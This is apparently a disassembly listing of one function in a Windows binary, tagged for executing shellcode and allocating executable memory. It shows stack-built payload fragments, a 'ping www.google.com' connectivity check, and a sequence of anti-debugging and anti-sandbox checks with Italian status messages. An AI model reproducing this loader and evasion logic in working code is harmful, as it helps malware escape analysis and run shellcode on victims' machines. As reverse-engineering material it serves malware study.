Function at 0x140011357
Capabilities:
Allocate or change rwx memory
Execute command
Execute shellcode via indirect call
Terminate process

Disassembly:
jmp 0x140013b70
push rbp
push rsi
push rdi
sub rsp, 0xeb0
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x284
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0xe88], rax
lea rcx, [0x140029102]
call fcn.1400114dd
lea rax, [rbp + 8]
lea rcx, [0x14001f2f8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x38]
lea rcx, str.RQVH1
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x68]
lea rcx, [0x14001f328]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x98]
lea rcx, [0x14001f340]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xc8]
lea rcx, [0x14001f358]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xf8]
lea rcx, [0x14001f370]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x128]
lea rcx, [0x14001f388]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x158]
lea rcx, [0x14001f3a0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x188]
lea rcx, [0x14001f3b8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1b8]
lea rcx, [0x14001f3d0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1e8]
lea rcx, [0x14001f3e8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x218]
lea rcx, [0x14001f400]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x248]
lea rcx, [0x14001f418]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x278]
lea rcx, str.XAXYZAXAYAZH
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2a8]
lea rcx, [0x14001f448]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2d8]
lea rcx, [0x14001f460]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x308]
lea rcx, [0x14001f478]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x338]
lea rcx, [0x14001f490]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x368]
lea rcx, [0x14001f4a8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x398]
lea rcx, [0x14001f4c0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x3c8]
lea rcx, [0x14001f4d8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x3f8]
lea rcx, [0x14001f4f0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x428]
lea rcx, [0x14001f508]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x458]
lea rcx, [0x14001f520]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x488]
lea rcx, [0x14001f538]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x4b8]
lea rcx, [0x14001f550]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x4e8]
lea rcx, [0x14001f568]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x518]
lea rcx, [0x14001f580]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x548]
lea rcx, [0x14001f598]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x578]
lea rcx, [0x14001f5b0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x5a8]
lea rcx, [0x14001f5c8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x5d8]
lea rcx, [0x14001f5e0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x608]
lea rcx, [0x14001f5f8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x638]
lea rcx, [0x14001f610]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x668]
lea rcx, [0x14001f628]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x698]
lea rcx, [0x14001f640]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x6c4]
lea rcx, [0x14001f654]
mov rdi, rax
mov rsi, rcx
mov ecx, 7
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [0x14001f175]
mov byte [rbp + 0x6f0], al
lea rax, [rbp + 0x6f1]
mov rdi, rax
xor eax, eax
mov ecx, 0x2cf
rep stosb byte [rdi], al
lea rcx, str.ping_www.google.com
call qword [sym.imp.ucrtbased.dll_system]
test eax, eax
je 0x14001400a
lea rdx, [0x140011046]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Impossibile_connettersi_a_internet
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, [0x140011046]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.__Eeguo_tecniche_Anti_debug
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140011046]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Controllo_IsDebuggerPresent
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1400140c6
lea rdx, str.__Debugger_rilevato
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Controllo_NtQueryInformationProcess_ProcessDbgPort
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140011343
test eax, eax
je 0x140014136
lea rdx, str.__Debugger_rilevato
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Controllo_NtQueryInformationProcess_ProcessDebugFlags
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400113a2
test eax, eax
je 0x1400141a6
lea rdx, str.__Debugger_rilevato
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Controllo_Process_ProcessDebugObject
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140011217
test eax, eax
je 0x140014216
lea rdx, str.__Debugger_rilevato
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Controllo_NtQueryInformationProcess_SystemKernelDebuggerInformation
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400110b9
test eax, eax
je 0x140014286
lea rdx, str.__Debugger_rilevato
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Controllo_NtSetInformationThread_ThreadHideFromDebugger
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14001118b
test eax, eax
je 0x1400142f6
lea rdx, str.__Debugger_rilevato
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140011334
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Controllo_CloseHandleAPI
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140011195
test eax, eax
je 0x140014366
lea rdx, str.__Debugger_rilevato
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Controllo_HardwareBreakpoints
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400114c9
test eax, eax
je 0x1400143c6
lea rdx, str.__Debugger_rilevato
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140011046]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.__Controlli_Anti_debugger_finiti
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140011046]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Eeguo_tecniche_Anti_sandbox
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140011046]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Controllo_CheckResources
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400113a7
test eax, eax
je 0x1400144be
lea rdx, str.__SandBox_rilevata
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Controllo_checkNUMA
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400114ba
test eax, eax
je 0x14001451e
lea rdx, str.__SandBox_rilevata
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Controllo_str_trick
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400110d2
test eax, eax
je 0x14001457e
lea rdx, str.__SandBox_rilevata
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Controllo_memory_space
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14001129e
test eax, eax
je 0x1400145de
lea rdx, str.__SandBox_rilevata
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.__Controllo_wine_exports
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400113b1
test eax, eax
je 0x14001463e
lea rdx, str.__SandBox_rilevata
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140011046]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.__Controlli_Anti_sandbox
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140011046]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140011046]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.__Controlli_finiti
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110aa
lea rdx, [0x140011046]
mov rcx, rax
